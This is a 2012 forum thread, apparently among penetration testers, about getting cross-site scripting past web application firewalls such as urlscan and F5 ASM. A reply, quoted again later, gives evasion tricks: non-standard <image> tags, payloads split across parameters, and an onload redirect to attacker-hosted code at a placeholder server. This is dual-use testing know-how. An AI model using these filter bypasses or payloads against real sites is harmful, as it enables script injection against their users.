.

Bypassing urlscan

<<

Darktaurus

User avatar

Full Member
Full Member

Posts: 181

Joined: Thu Sep 03, 2009 8:48 am

Post Thu Jun 28, 2012 1:19 pm

Bypassing urlscan

Hello All,

Has anyone had any success bypassing urlscan when attempting to input xss?  I used the usual NULL %00 and URL encoding.  I even found some papers that said I could try <SCR%IPT> for filter evasion and obfuscation if I was targeting .NET which did not work too well by the way.  If you have a link or paper, I should give a read, I would greatly appreciate it. 
OSCE, OSCP, OSWP, CISSP, GPEN

www.agoonie.com
<<

eyenit0

User avatar

Jr. Member
Jr. Member

Posts: 52

Joined: Wed Sep 01, 2010 2:17 pm

Post Thu Jun 28, 2012 3:30 pm

Re: Bypassing urlscan

Well, I've never gone up against urlscan before but I just beat F5's ASM XSS filter for the first time, so maybe some of the same tricks will work.

Some of the things I used were:
1. I ditched using <script> because I couldn't get it passed. Instead used<image>. Notice it's not <img>. The WAF would filter <img> tags but not <image> and Firefox would display <image> just fine.
Try iframe, style, and object tags too.

2. Split up the attack between parameters if possible. Break it at key points where the WAF won't be able to understand what's going on.

3. If ()'s are being blocked, you can try redirecting to a server that you own and get your code to run from there. I couldn't load directly to the site that I was attacking and it was filtering most javascript actions, but I was able to use an image tag and slip a "location" in an onload like this:
onload=location="http://server/evilcode.php".

4. I also ran across spots where the letters "http" were filtered. Here you can usually drop the http: and just use //server/evilcode.php.


I don't know if any of that will be any help at all, and may be completely irrelevant to urlscan, but those are some of the things I've learned with evasion and hopefully some of it carries over.
<<

Darktaurus

User avatar

Full Member
Full Member

Posts: 181

Joined: Thu Sep 03, 2009 8:48 am

Post Fri Jun 29, 2012 7:46 am

Re: Bypassing urlscan

eyenit0 wrote:Well, I've never gone up against urlscan before but I just beat F5's ASM XSS filter for the first time, so maybe some of the same tricks will work.

Some of the things I used were:
1. I ditched using <script> because I couldn't get it passed. Instead used<image>. Notice it's not <img>. The WAF would filter <img> tags but not <image> and Firefox would display <image> just fine.
Try iframe, style, and object tags too.

2. Split up the attack between parameters if possible. Break it at key points where the WAF won't be able to understand what's going on.

3. If ()'s are being blocked, you can try redirecting to a server that you own and get your code to run from there. I couldn't load directly to the site that I was attacking and it was filtering most javascript actions, but I was able to use an image tag and slip a "location" in an onload like this:
onload=location="http://server/evilcode.php".

4. I also ran across spots where the letters "http" were filtered. Here you can usually drop the http: and just use //server/evilcode.php.


I don't know if any of that will be any help at all, and may be completely irrelevant to urlscan, but those are some of the things I've learned with evasion and hopefully some of it carries over.




Thanks for the feedback!  I will give this a try today. I never tried the <image> trick against the web app filters. Hopefully good news. I cannot wait for OffSec AWAE to open up.  Anyway, thanks again for the help.
OSCE, OSCP, OSWP, CISSP, GPEN

www.agoonie.com

Return to Web Applications

Who is online

Users browsing this forum: No registered users and 0 guests

.
Powered by phpBB® Forum Software © phpBB Group.
Designed by ST Software